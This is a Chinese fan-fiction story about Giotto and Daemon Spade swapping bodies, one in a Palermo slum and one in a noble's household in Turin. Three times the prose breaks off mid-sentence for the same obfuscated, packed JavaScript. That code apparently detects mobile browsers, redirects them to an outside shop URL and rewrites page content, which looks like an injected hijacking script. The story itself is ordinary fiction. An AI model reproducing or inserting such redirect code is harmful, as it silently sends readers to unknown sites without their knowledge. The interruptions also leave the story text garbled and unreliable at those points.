《[家教初代]指环铭刻我们的光阴》 1. 第 1 章 戴蒙在温暖的阳光中睁开眼。 不同于前几日醒来时那股难忍的疼痛与麻痒，这一次他浑身感到久违的轻松。深吸一口气，肺腑间没有半分血腥气，只有木头与干草混合起来的陈旧味道。这种通体清爽的感觉让他从心底浮起一丝淡淡的愉悦。 可没撑过一秒，等他看清眼前的屋子，那点愉悦立马就烟消云散了。 屋子是用石头和木板拼成的，墙缝里塞着干草和黄泥，勉强能挡点风。墙角摆着一张木桌，一条腿短了一节，底下垫着几片木头才勉强维持着平衡。房间的角落有个用木板钉成的衣柜，门板歪歪斜斜，仿佛碰一下就会散架。 戴蒙挑了挑眉。 想来不会有人把敌人安置在这种毫无囚禁效果的地方。 他收回打量的视线，低下头看向“自己”。这具身体不算强壮，肌肉单薄，掌心有几处老茧，像是常年干粗活留下的。 他看向窗户，玻璃上积着薄灰，模糊地映出一个陌生的影子：金色的头发微微炸起，仿佛从未被梳子驯服过，五官在污浊的玻璃上看不真切，只看得出轮廓柔和，与他原本凌厉的长相截然不同。 “真够寒酸的。” 戴蒙嗤笑一声，手指抵在窗框上，粗糙的木刺扎进皮肤，带来真实而细微的刺痛。他试着催动幻术，力量却仿佛沉进了水底，半点也发挥不出来，指尖好不容易才冒出一小撮幽蓝色的火苗，弱小得一吹就散了。 他盯着掌心，沉默地将手插回衣兜。 戴蒙·斯佩多是当今世界上最顶尖的幻术师之一。 哪怕他才十七岁。 谁有能力不声不响地把他从都灵的庄园里扔进这具陌生的身体？ 强行压下心底翻涌着的被暗算的不爽，戴蒙眼神一冷，在房间内翻找起来。他动作干脆，所有角落都被摸了个遍，没有放过半点可能有线索的地方。 衣柜里只有几件打了补丁的旧衣服，抽屉里藏着几枚铜币，还有一把钝得快要划不破东西的小刀，床底的木箱里，胡乱塞着一些木雕、小徽章之类的零碎玩意儿。 最后，他的目光落在了墙角那叠廉价报纸上。报纸已经泛黄发脆，上面满是荒腔走板的市井传闻，其中几处码头和货仓的招工告示被人用炭笔圈了出来。 至少搞明白了自己现在正处于西西里岛的巴勒莫。戴蒙将报纸放回原处，推门走了出去。 ………………………… 塞弗诺拉从早上一睁眼就觉得莫名不爽。 就好像有人在他的地盘上放了把火，他却找不到凶手一样。 他憋着火走进低矮的厨房，脚下木板吱呀作响。灶台上的铁锅早已被熏得发黑。他舀了瓢水倒进去，又从麻袋里抓了一把未脱壳的黑麦随手撒进锅里。麦粒沉入水中，浮起几缕浑浊的沫子。 没脱干净壳的黑麦就算煮成粥也粗糙得难以下咽，但是混一点土豆和胡萝卜会好些。他摸出昨天从教堂领回来的粗面包，硬得像石头，需要用刀背敲几下才勉强掰开。撕碎的面包泡进麦粥，吸饱水后膨胀起来，勉强算得上一顿难得的美味。 谷物的香甜在狭小的屋子里漫开，塞弗诺拉的心情终于好了一些，直到他看见那个软弱的堂兄从房间里走出来。 “终于醒了？” 塞弗诺拉瞥了他一眼，低头继续搅动锅里的粥。木勺刮过锅底，发出刺耳的摩擦声。 “下次想死就滚去码头跳海，我可不是每次都能收住手的。” 说完，他习惯性地皱起眉等着乔托开始絮叨，劝他别和G打架，别这样别那样。可今天，那些他都能背下来的话却并没有出现。 眼前的“乔托”面无表情地打量了他片刻，随后以一种与这粗陋环境格格不入的优雅姿态，盛出了自己的那份早餐。 塞弗诺拉可不觉得这叫优雅，只觉得这人比以前更讨厌了。 “淹死可不太舒服。” 乔托，或者说此时该叫他戴蒙了，盯着那碗黑麦粥，眉头几不可察的皱了起来。即使在艰苦的行军途中，他也没吃过这么简陋的东西。 他尝试性地舀起一勺送进嘴里，喉结滚动，然后不着痕迹地将勺子放回碗里，试探道：“昨天的事情不知道怎么样了，希望今天不必再去一趟。” “昨天撞到头傻了？”塞弗诺拉皱眉，指节敲了敲桌面，“法国人的船早走了，还能有什么事？今天得去教堂帮忙，面包可不是白给的。” “可我总觉得不对劲。”戴蒙垂着眼，指尖摩挲着碗沿，语气里带着几分刻意流露的迟疑，“我想再去港口看看。” 塞弗诺拉放下餐具，盯着他看了好一阵，突然“啧”了一声。 “你怎么一大早就怪怪的？” 他烦躁地抓了抓头发，几缕黑发从指间翘起：“让G陪你去，要是被港口的宪兵追，就把他丢出去。” G。 戴蒙在心底无声地重复这个代号，嘴角勾起一抹极淡的笑意。 “我只是去看看，怎么可能被宪兵追？G在哪儿？” “谁知道你们会惹出什么事，宪兵抓人什么时候需要借口了？”塞弗诺拉“咣当”一声把勺子扔进空碗里，站起身时椅子在地板上刮出刺耳的声响。 “你的小跟班儿在哪里，为什么要问我？” “别这么说，”戴蒙脸上的笑意更深了，“G才不是我的小跟班。” 塞弗诺拉冷哼一声，利落地转身出门。木门在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218852|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后重重撞上门框，震得墙灰簌簌往下掉。他不耐烦的声音从门外传来： “我会跟比安卡修女说你撞到头还没好，今天别去北边晃悠，免得露馅儿。” 现在，屋里就剩他一个人了。 戴蒙盯着那碗黑麦粥看了两秒，把它倒进了灶台旁边的泔水桶。粥水溅起几滴污渍，落在他的袖口。他皱了皱眉，随手擦掉。 他环顾四周，这房子还没他的卧室大，堆得满满当当，像是仓鼠的窝。 戴蒙又搜了一遍，依旧毫无所获，住在这里的怎么看都只是一对普通的贫民窟兄弟。 戴蒙一出门，就看见巷口站着一个红发少年。 少年额角有道狰狞的纹身，一直延伸到衣领里，透着几分桀骜。他双手抱胸靠在斑驳的墙面上，踢着脚边的一颗小石子，显然已经等了许久，眼神却依旧明亮。 一看到少年，戴蒙心里就笃定了，这就是G。他脚步稍顿，脸上随即挂起温和的微笑朝着少年走去，阳光落在他的金发上，好像镀上了一层浅浅的光。 “乔托！” 红发少年也看见了他，正是G。他热情地喊了一声，嘴角扬起灿烂的笑容。 “塞弗诺拉说你想再去港口看看？是发现了什么吗？” “只是去看看。”戴蒙摇摇头，笑容不变，然后跟在G身后，穿行在错综复杂的街巷里。 “最近别往鸽子巷凑，那边爆发了霍乱，死了好几个人。”G忽然压低声音，眉头紧紧皱起，语气里满是担忧，“纳克尔说教堂的药早就不够分了，那些没钱看病的人只能躺在巷子里等死。” 戴蒙顺着他的目光瞥去，墙根下蜷缩着一个奄奄一息的男人，胸前别着的鸢尾徽章糊满泥垢，只有边缘的镀金尚未完全脱落，在微弱的光线里闪着垂死的光。 前方忽然传来木桶翻倒的巨响，几个骨瘦如柴的孩子正在疯抢一块沾满污渍的面包。最小的那个被推倒在浑浊的水坑里，却依旧死死抓着指尖的面包碎片不肯松手。 戴蒙别开脸，胃里一阵翻腾。 港口的风刮过来，带着一股鱼腥和腐臭味，呛得人难受，几艘货船停靠在岸边，水手们吆喝着卸货，海鸥在头顶嘶鸣，乱哄哄的，连空气中都满是粘腻的沉闷感。 戴蒙的指甲掐着掌心，尖锐的痛感压下了心里的烦躁。 没有幻术波动，没有隐秘标记，连海浪的节奏都平庸得让人作呕。他咬住舌尖，一连串脏话在喉间翻滚，最终化作一声轻笑。 “真是糟糕透了。” G转过头：“什么？” “疾病，霍乱。”戴蒙眯起眼，长长的睫毛在脸上投下淡淡的影子，语气里带着点不耐，“想想就烦。” 2. 第 2 章 乔托打了个呵欠，挣扎着从床上坐起来。 今天唤醒他的不是海港清晨的鸡鸣和寒风，而是身体深处蔓延开的刺痛与阴冷，就像有寒气顺着骨头缝往里钻，还有伤口愈合时特有的酸胀感。 他垂着头，眼皮沉重得像是粘了胶水，视野里只剩一片模糊的暗色，连抬手都有些费劲。 “天还没亮……？” 他揉揉眼睛，厚重的窗帘将房间封得像口棺材，只有缝隙里漏进点惨白的光，勉强劈开黑暗。空气中飘着一股香气，像是那种贵得离谱的熏香，甜得发腻，还带着点摄人的怪味。 混沌的大脑瞬间清醒过来。他猛地直起身—— “咚！” 后脑勺结结实实地撞在雕花的床柱上，在安安静静的房间里听得格外清楚。 “痛痛痛！” 生理性的眼泪一下子就涌到了眼眶，乔托疼得龇牙咧嘴，几乎是弹跳着滚下床，双脚一落地便陷进了足有半寸深的雪白羊绒地毯里。 把我卖了都买不起的高级货。 这样柔软到奢侈的羊绒毯，他只在很小的时候在西西里乡下的老宅见过，可惜没过两年，它就和别的家具一起消失了。再后来，连那座大庄园也冠上了别人家的姓氏。 乔托·彭格列今年十五岁，在贫民窟里摸爬滚打这么多年，他比谁都清楚，越着急的时候，就越要沉得住气。 屋子里光线特别暗，但他还是能勉强看出些轮廓：一张雕花四柱床，书桌的边角镀着金，墙上的油画藏在影子里，画中人的眼睛像是在盯着他，压得人有点喘不过气。 这不是他知道的任何地方。 绑架？谋杀？人口买卖？ 无数糟糕的猜测在脑中闪过，冷汗顺着脖颈滑进衣领，乔托使劲咬着嘴唇，没敢发出一点动静。 他没有贸然去拉窗帘，而是借着模糊的视野小心挪到门边。地毯软乎乎的，走上去没有一点声音，可他的心跳却咚咚响，紧张得快要蹦出来。 他把耳朵贴在厚重的门上，憋着气，连呼吸都放得极轻。 门外一片死寂，不知道是隔音太好，还是真的没人。直觉告诉他，眼下暂时是安全的。 乔托没有冒险开门，他退回室内，点燃桌上的一根蜡烛。 火苗摇曳，照亮书堆、散落的衣物、扑克牌，还有—— 一把转轮手枪。 他的呼吸停了一瞬。 烛光下，手枪的金属外壳泛着幽幽冷光，枪管线条流畅，握柄刻满细密的花纹。乔托屏住气，小心地把它拿起来。指尖碰到扳机的刹那，冰凉的触感激得他打了个寒颤。 他迅速地检查弹巢。 里面还有三发子弹。 “……疯子。” 他无声地骂了一句，飞快将枪塞回床头，金属零件碰撞的声音在死寂的房间里格外刺耳。 什么样的人会把上了子弹的手枪放在床头？他就不怕半夜走火，把自己的脑袋轰成烂番茄吗？！ 乔托脸色扭曲，在心里无声地尖叫着。 他坐到书桌前，抽出几份叠好的信件。虽然无意窥探别人的隐私，但现在也顾不上这些了。 “Demon Spade……” 他低声念出这个名字，眉头不自觉皱紧。 真有人叫这个名字？ 以“恶魔”为名，毫无疑问是渎神的行为，在亚平宁半岛这片天主教统治的土地上，除非斯佩多家是群叛逆的异教徒，否则…… 乔托瞥了眼床顶雕刻的小天使，暗自叹气。 现在不是替别人操心的时候。 他站起身，忽然瞥见烛光边缘有一道反光，走近一看，是一面等人高的水银镜。 没成想，镜子带来了另一个惊吓。 乔托看向镜面，那里面映出的是一个宵蓝色头发，海青色眼睛的少年，可是那张精致到邪异的面孔，和他乔托·彭格列没有丝毫相似之处啊！ “诶？！！” 极度的震惊之下，乔托险些忘记控制音量。他揪住滑至眼前的发丝，触感就像抓住了一束浸过冰水的丝绸，镜中人也随着他的动作露出见鬼似的表情，“这是谁啊？！” 确实，从醒来时就隐隐觉得有些不对劲，视线似乎比平时高了一点，可他无论如何也想不到，不光是位置变了，竟然连身体都不是自己的了！ 乔托有些崩溃地抱膝蹲在镜子前：“这是梦吧？不然怎么会莫名其妙变成一个从来没有见过的人？这也太离谱了哈哈哈哈哈哈……” 冷静下来，乔托！他努力对自己说，快想想你睡觉之前都发生过什么！ 指甲深深陷入掌心，疼痛真实得令人绝望。记忆如走马灯般闪回：昨天傍晚在码头区抢购到的蔫菠菜，G和塞弗诺拉为最后一块面包打架掀翻的矮桌，睡前用井水冲洗时看到的，明明是金色的短发和琥珀色的眼睛！ 乔托绞尽脑汁也想不明白，这离奇的一切究竟是怎么发生的。他脸上崩溃的表情逐渐扭曲，最后反倒定格成了一种超脱般的平静。 他猛地站起身，坐回书桌前，将那几封信重新抽出来，一字一句仔细读起来。 这次他得到了更多信息：这里是撒丁王国。“我”因伤从北部伯尔尼方向的战场上退下来休养。一位多年好友来信，说五号会来拜访。 五号？不就是今天？ 乔托确认了日期，又摸了摸腰侧。伤口被仔细地包扎好，随着动作传来隐痛，边缘渗出极淡的血色，但绷带依旧牢固。 “必须得出去看看了。” 他从果盘旁边抽出两把银质小刀藏进袖口，冰凉的金属贴着手腕，带来一丝微弱的安心。 “少爷？” 门外传来轻柔的女声。 “艾琳娜小姐到了。” 乔托浑身一僵，手指无意识地攥紧袖子里的小刀。自从彭格列家没落后，他就再也没有和贵族打过交道，什么礼仪腔调早就被生活磨得一干二净，现在该怎么应付一位高贵的小姐？ 他还没调整好表情，会客厅的门已经被推开了。 “真是糟糕的天气。” 艾琳娜轻盈地走进房间，一边解下厚厚的雪貂毛斗篷，一边抱怨。 “都灵从来没有下过这么大的雪，路上全是泥泞，听说有平民的房子都被压塌了。我得联系济慈会去看看，不然那些可怜人该怎么过冬呢？” 她把斗篷递给身后的女仆，露出里面鹅黄色的长裙。裙摆的刺绣泛着细腻的光泽，金色的长卷发间缠着珍珠发带，随动作微微晃动，那双眼睛里仿佛盛着整个爱琴海的碧波。 “听说你在养伤，”她把一叠报纸放在茶几上，语气熟稔，“我带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218853|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了新印的《自由报》给你解闷。别摆出那副表情，你知道父亲关不住我。” 乔托的指尖擦过粗糙的纸张，廉价油墨的气味熟悉又陌生，上面印着“全民议会”、“废除童工”之类的字眼。 他想起港口角落那些无人理会的瘦小尸体，脱口而出：“您真的相信这些能实现？” 艾琳娜的眼睛亮了起来。 “戴蒙，你终于对这些感兴趣了？” 她兴致勃勃地凑近，嗓音如百灵鸟般悦耳。 “我和你说过那么多次，每次都被你敷衍过去，怎么这次受伤后倒像换了个人？” “呃，那个……”乔托支支吾吾，心里后悔刚才太冲动了，脸上的表情只能勉强维持平静。 “你知道我刚从伯尔尼回来。”他想起刚才看过的信，决定赌一把，“我遇到一些事情，觉得你的想法……说不定有些道理。” 艾琳娜愣了一下，似乎想起了什么，神情中露出一丝悲伤。 “我始终不认为，将屠刀对准自己的人民是正义的。” 她站起来在窗边踱步，纤细的手指无意识地揉着昂贵的丝绸手帕。 “抱歉，我不是在指责你听命行事，父亲前些日子从巴黎回来，虽然他什么也没说……但我能猜到情况不太好，留给意大利的时间不多了，我们必须得做点什么！” 乔托盯着她裙摆上晃动的金线。 那光芒太刺眼了，刺得他眼眶发酸。 夜幕降临时，乔托终于送走了艾琳娜。 他瘫坐在壁炉前，掌心全是冷汗。整整三个小时，他听着这位贵族小姐描述如何秘密资助工人学校，如何制造舆论推动废除童工。 她不知道的是，和原本那个对底层一无所知的少年军官不同，眼前的这个“戴蒙”甚至可以闭着眼走遍贫民窟的每一条暗巷。 艾琳娜描绘的图景，在乔托看来就像是海上飘渺的仙宫，好得不真实，也远得碰不着。 但……如果真的能够实现呢？ 他怔怔望着熊熊的炉火，心跳如鼓。 艾琳娜是个聪慧又敏感的女性。乔托想起送她上马车前，少女背对着他，声音低哑，带着掩饰不住的担忧： “很高兴今天能和您聊这么久，先生，如果可以的话……” 她张了张嘴，像是还有话要说，最终却什么都没有说，转身快步上了马车。少女的脸藏在黑夜里看不清楚，随着叮铃的马铃声，慢慢消失在了街道尽头。 ——已经暴露了啊。 乔托苦笑。这也不奇怪，他本来就不是会掩饰的人，突遭巨变，没当场崩溃已经实属不易，还要他演戏瞒过戴蒙·斯佩多的青梅竹马，这也实在太为难人了。 [抱歉，艾琳娜小姐。我一定会想办法让斯佩多先生回来的。] 他在心里默默道歉。 可话说回来，一天过去了，他对这件离奇事件的起因仍然毫无头绪，既不知道是谁搞的鬼，也不知道该如何复原，他甚至不知道原来的戴蒙·斯佩多去了哪儿，只能凭着自己的遭遇推测，也许那位先生，现在正待在自己的身体里呢？ 如果真是这样，那斯佩多勋爵阁下可着实有点倒霉了…… 乔托躺在柔软温暖的四柱雕花大床上，想着自己房间漏风的墙缝、厨房还没修的屋顶，忧心忡忡地睡着了。 3. 第 3 章 这！该死的！风！ 戴蒙粗暴地从衣柜里扯出两件稍厚的衣服，咬牙切齿地塞紧窗边的缝隙。与都灵相比，巴勒莫的冬天不算严寒，但海面上卷来的夜风仍然湿冷，一直往骨头缝里钻。 从港口回来以后，他沿着乔托昨天的路线完整走了一遍，理所当然地一无所获，一切都正常得仿佛他生来就是这个名叫乔托的西西里穷小子。 可事实上，尽管戴蒙拥有一对疯子般的父母，物质却从未短缺过，更不知饥饿为何物。 他按了按空瘪的肚子，粗糙的食物难以下咽，这一整天他只灌了几口冷水，而这具身体早已习惯了窘迫，连抗议都微弱得近乎无声，只剩淡淡的空乏感蔓延全身。 不能继续这样下去了。 戴蒙心里清楚，在严苛的环境里，长时间不进食导致的虚弱往往意味着不可挽回的后果。如果明天仍然没能回到自己的身体，他就必须想办法弄点真正能吃的东西了。 很遗憾，新的一天与昨日并无不同。 餐桌上，他从塞弗诺拉嘴里得到了一个糟心的消息：今天他要去参加一位邻居夫人的葬礼。 [愚蠢至极。] 他用叉子戳着碗里泡得发胀的黑麦，试图用纷乱的思绪淹没喉间那股粗粝乏味的感觉，至少不能让它呕出来。 [要白白浪费至少半天的时间，去假装哀悼一个素未谋面的女人。] 葬礼在贫民窟的一片空地上举行，仪式简陋至极。 戴蒙站在人群前列，第一次体会到一种沉重的静默。 这并非他所知晓和熟悉的葬礼。 没有鲜花，没有圣歌，没有镌刻家纹的棺椁，只有一个由几块粗糙木板钉成的箱子，里面躺着一个因饥饿与殴打死去的女人。 十几个面黄肌瘦的邻居围站着，无人放声哭泣，只有一种沉闷到几乎要凝固的寂静，沉沉地压在海风里。 戴蒙敏锐地察觉到风中飘散的不只是泥土的腥味，还混杂着对施暴者的怨恨、对自身处境的恐惧，以及一种沉甸甸的、他无法命名的情绪。 [多么可悲，]他心想，[连悲伤都如此贫瘠。] “开始吧。”一个苍老的声音说道。 这里没有牧师，一个佝偻的老人从人群中缓缓走出来。他干裂的嘴唇动了动，最终只是对着木棺沉重地点点头，然后几个男人拿起铁锹开始向木板上撒土，沙沙的落土声在静默中格外清晰。 “等等！” 就在泥土即将完全覆盖在棺木上时，压抑的沉默被猛然撕裂。 一个瘸着腿的男人从人群里艰难地挤出来。他双眼布满血丝，死死盯着那简陋的木棺。 “让我说句话，”他声音嘶哑，带着难掩的悲痛和恨，“就说一句。” 人群微微骚动，戴蒙不自觉地绷紧了身体，本能地警惕了起来。 “孔切塔，”男人喊着死者的名字，声音里满是颤抖，“你这个……傻女人……” “那天晚上你要是安安静静的，”他继续说，声调渐渐提高，“别半夜偷偷去敲隔壁的门送吃的，你怎么会撞上那群''老鼠''？你怎么会死？？” 啜泣声从人群中传来，有人低下头，有人别过脸，有人眼中闪过怨恨。 戴蒙的嘴角勾起一丝冰冷的弧度，心里瞬间明白了前因后果。 这可真是再贴切不过的哀悼词了，一个弱小、贫穷、还偏偏爱多管闲事的女人，为了一点毫无意义的善心，赌上了自己的性命。 [愚蠢，]他冷冷地想着，[毫无意义的牺牲，除了增添一具尸体，什么也不会改变。] 就在这时，一道瘦小的身影如炮弹般撞上男人的腰际。 “不许你这么说妈妈！” 那是个七八岁模样的男孩子，身形瘦小得可怜，一根根肋骨在破烂衣衫下清晰可见。他撞得男人踉跄后退了几步，自己也被反作用力弹开，跌坐在地上，却又立刻爬起，像一头发怒的小兽瞪着通红的眼睛。 “妈妈没有错！”男孩嘶喊着，尖锐的童音因激动而劈裂，“玛丽阿姨已经三天没有东西吃了！她的肚子里还有小宝宝呢！妈妈曾经告诉我，‘看见有人要掉下悬崖，如果能拉一把，那手绝不能缩回去’！” 戴蒙忽然感到一阵尖锐的刺痛，穿透了躯壳的隔阂，直直地扎进意识深处。 那是一种他从未体验过的冲击。 何等天真可笑的信条，何等高傲无用的愚蠢。 他下意识地想要嘲讽，可脑海里却陡然闪过另一段早已尘封的画面。 那是都灵庄园里铺着华丽波斯地毯的厅堂，年幼的自己穿着精致的童装，周身是熊熊燃烧的大火，灼热的气浪扑面而来，耳边只剩下母亲疯狂而偏执的呢喃，一遍遍萦绕在耳畔，久久挥之不去。 “一定要……一定要让斯佩多家毁在你的手里，我心爱的恶魔之子啊……” 那是斯佩多夫人最后的爱语。 “她救了玛丽阿姨和宝宝。” 男孩的声音将他从恍惚中拽回现实。那孩子忽然转过身，直直地看向他，或者说，看向乔托。 “可是她死了。”男孩的眼睛亮得惊人，那眼神里混合着极致的痛苦和不肯熄灭的顽固，泪水混着脸上的脏污流下。 “乔托哥哥，你告诉我，”他上前一步，小小的身躯颤抖着，“妈妈做得对吗？” 戴蒙感到自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218854|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的呼吸停滞了一瞬。 “她救了两个人，可她死了。”男孩继续追问，每个字都像钉子钉进戴蒙的心底，“你说过要保护我们大家的，乔托哥哥，为什么你没有保护好妈妈？” 寂静。 连风都仿佛凝固了。 戴蒙的意识深处，有什么东西悄然裂开了，极其细微的，如同冰面承受重压后绽开的第一道细纹。 他忽然想起前不久才被镇压的伯尔尼贫民窟，那些为了一口粮食而奋起暴动的贫民，那些被他视为扰乱秩序、必须清除的不稳定因素，他们的背后是否也有这样的一个孩子？这样的一位母亲？ 他无法理解：[艾琳娜……你看到的，就是这样的人吗？] 男孩的眼中，痛苦与质疑交织在一起，却没有半分动摇存在。戴蒙意识到他并未在寻求一个答案，而是在为母亲的抉择奋力辩护，即使那抉择最终夺走了母亲的生命。 而戴蒙自己，从出生起就从未拥有过质疑或者捍卫什么的权利。 “乔托”的身体动了一下。 戴蒙感到自己被某种力量推着行动，一种不属于他的冲动接管了这具身体，是乔托的本能，或者深植于肌肉记忆的反应，随便什么。他蹲下身，平视着男孩，泥水浸湿了裤脚。 他张了张嘴，有无数的话语涌到嘴边，那些他惯用的，逻辑严密且正确的话语，比如“这是无谓的牺牲”，比如“你母亲的选择不够明智”，又比如“没有人能做到面面俱到的保护”。 但他发不出声音。 并非这具身体无法发声，而是他自己的意识陷入了一种停滞，那些冰冷的道理在触及男孩眼中不肯熄灭的火焰时，骤然变得苍白又空洞。 最终，从他干涩的喉间溢出的，是一句近乎陌生的陈述： “……你的妈妈非常勇敢。” 不是认同，也并非安慰，仅仅是一个连他自己都未能全然理解的陈述。 男孩的眼泪再次涌出，但他没有再嘶喊，只是用力地点了点头，仿佛这个简单的陈述，就是他所需要的全部答案。 葬礼在更沉重的静默中继续进行，泥土终于覆盖了全部，人群开始散去，没有人交谈，只有脚步声在泥泞中拖沓作响。 戴蒙同样准备离开这令人窒息的地方，但在转身前，他最后回望了一眼。 男孩没有跟着人群离开，他坐在覆盖着新土的坟墓旁，双手紧紧地抱着膝盖，眼神空洞地望着那片微微隆起的土地。冰凉的雨丝又开始飘落，无声地落在他单薄的身体上。 戴蒙收回目光，走入渐密的雨幕。那句“非常勇敢”和男孩眼中的光却如附骨之疽，缠绕在他的意识里，久久不肯散。 4. 第 4 章 感谢上帝！终于回来了！ 一睁开眼，是带着裂缝的屋顶，身下是咯吱作响的木板床，熟悉得令人感动。乔托按捺不住狂喜，连滚带爬地冲出房间，全然无视了塞弗诺拉那张仿佛要杀人的臭脸，张开双臂就扑了过去。 “我真的好想你，Siv！” “哈？！”塞弗诺拉的表情瞬间扭曲，狰狞得能吓哭整条街上的小孩。他眼疾手快，把手里抱着的东西抛到桌子上，然后使出全身的力气推开化身八爪鱼的堂兄。 “不想要胳膊了就捐给有需要的人！你这脑子进水的白痴！！” “别这么大声，我听得到啦~”乔托凭借着良好的平衡性站稳，心情极好地环顾四周，这早已看腻的低矮小屋，此刻怎么看都是世界上最温馨的地方。 “今天几号？这几天我没做什么奇怪的事情吧？” 塞弗诺拉冷哼一声，暗红色的眼中是一贯的讥诮，他的语气刻薄，可却藏着不易察觉的关心：“连日子都记不清了，你是彻底傻了？要是真傻了，倒算是我今年听到的最好的消息。” 他拎起刚才抢救下来的那条黑面包，像扔石头一样砸向乔托的脑袋：“G跟码头的那帮混蛋打了一架才抢到的，赶紧吃，吃完去保罗鞋匠那儿帮忙。” [看来斯佩多先生没有用我的身体乱来。]乔托揉了揉被砸到的地方，接过面包。黑面包粗糙、坚硬、带着麦麸的酸味，这才是他熟悉的食物，熟悉的世界。他咬了一口，慢慢咀嚼，眼神却有些失焦。 塞弗诺拉敏锐地察觉到了异样，他眯起眼睛，像审视猎物一般打量堂兄。 “发什么呆？一副见了鬼的样子。昨晚做噩梦，梦见自己变成养尊处优的王子，吃不惯面包了？”嘲讽的语气依然尖锐，却无意间戳中了乔托的经历。 乔托咽下干硬的面包，喉咙有些发紧。他抬起头，认真地望向塞弗诺拉：“Siv，如果你手里有权力，能轻易地决定一群人的生死，可那些人与你无冤无仇，只是不小心挡在了路上，你会怎么做？” 塞弗诺拉愣了一下，显然没有料到乔托会问这种问题。随即嗤笑一声，语气里带着贫民窟生存法则的残酷：“你就在为这事发呆？权力不就是用来扫清障碍的？挡路的，直接碾过去就行，犹豫心软只会害死自己人，这道理你还不懂吗？” “你又在想些有的没的了。”塞弗诺拉双手抱臂靠在门框上，眼睛扫过窗外破败的街巷，语气沉重却理所当然，“仁慈救不了西西里，也救不了我们。你看看周围，那些软弱可欺的人永远死得最快。” 软弱…… 乔托的手指无意识地捻着面包屑，想起了戴蒙·斯佩多书桌上那些冰冷的军事报告。 那些冰冷的文字里，藏着无数被标记为需要清除的村庄和人群。在贵族的眼中，他们和挡路的石头没有什么区别。 确认自己变成“戴蒙·斯佩多”并勉强送走艾琳娜之后，真正的考验才刚刚开始。 身为刚刚镇压过暴动的前线军官，即使回府休养也不可能完全不处理军务。 第二天一早，戴蒙的副官便带着一叠厚重的文件前来汇报，内容全是关于伯尔尼暴动的后续处理，包括一批被羁押的暴乱首要分子的处置建议。 乔托心里清楚，这所谓的“处置”，往往意味着不经审判的处决或者是流放到环境恶劣、九死一生的海外殖民地。 他快速翻阅着公文。他的识字能力来自幼时祖母的教导和后来教堂神父偶尔的指点，读起公文来有些许吃力，但天生的直觉让他瞬间抓住了关键信息：一批因煽动暴乱被捕的贫民即将被押往北方的劳役营；预备军队的冬季配给被克扣了三成，理由是“战备需要”；几个村庄因为协助叛军被列入清剿名单…… 每一个字都像烧红的针扎进眼里。 “少校？”副官小心翼翼地询问，“这些……有什么问题吗？” 问题？ 乔托缓缓抬起头，强迫自己收敛眼底的震惊与愤怒。 他此刻顶着戴蒙·斯佩多的脸，而戴蒙应该是个本该对这些信息无动于衷的贵族军官。稍有不慎就会暴露异常，到时候不仅自己身陷险境，那些被列入名单的人也再无生机，他必须万分小心。 “清剿名单，”他听见自己用冷淡到近乎傲慢的语气说，“重新核实。上周的暴动参与人数还不到五十，牵连五个村庄，你觉得合理？” 副官脸色一白：“可是军令……” “军令要求的是清除叛乱土壤，不是制造新的仇恨和新的叛乱。”乔托不等他说完就厉声打断，指尖重重地点在另一份配给文件上，“还有这份方案是谁做的，谁准他扣下三成？士兵们吃不饱穿不暖，明年春天难道让他们吃土打仗？” 他不知道自己说得对不对，但他记得G说过：军队最恨两件事，一件是拖欠军饷，另一件是克扣粮草。他赌这个道理世界通用。 副官的额头渗出冷汗：“是……我立刻去协调。” “不是协调，”乔托站起身走到窗边，从这里能看见城堡下方的镇子，灰扑扑的屋顶挤在一起，像一群瑟缩的动物。“是解决，明天日落之前，我要看到修正后的新方案。” 他停顿了一下，语气放缓却仍带着不容置疑的意味补充道：“还有那些被捕的人也要重新审讯，把真正领头的挑出来。其余人……按扰乱治安处理，留在本地罚劳役。” 这已经是他能为那些素未谋面的贫民争取到的最好的结果了。 他不敢直接放走所有人，那样会立刻暴露自己的异常，但至少他能让这些人留在本地，不必在北方的冰天雪地里不明不白地死去。 副官离开后，乔托才猛地松了口气。他坐在椅子上，感觉手指还在微微发抖，后背全是冷汗。 这不是他熟悉的街头斗殴，没有拳头，没有怒吼，只有纸面上的文字和言语间的机锋，每一字一句的背后，都是真实的人命。 乔托嚼着干硬的面包，那粗粝的质感，让他想起那些书房里的判决书，纸张边缘也带着类似的磨手的触感。 明媚的阳光透过小屋的窗棂洒在地上，光影斑驳，反射进他的瞳孔里，晃动着，像斯佩多书房壁炉里摇曳的火光，也像艾琳娜眼中燃烧的理想之火。 他暂时救下了那些人。 但真正的戴蒙·斯佩多随时可以推翻那些命令。 而他对此无能为力。 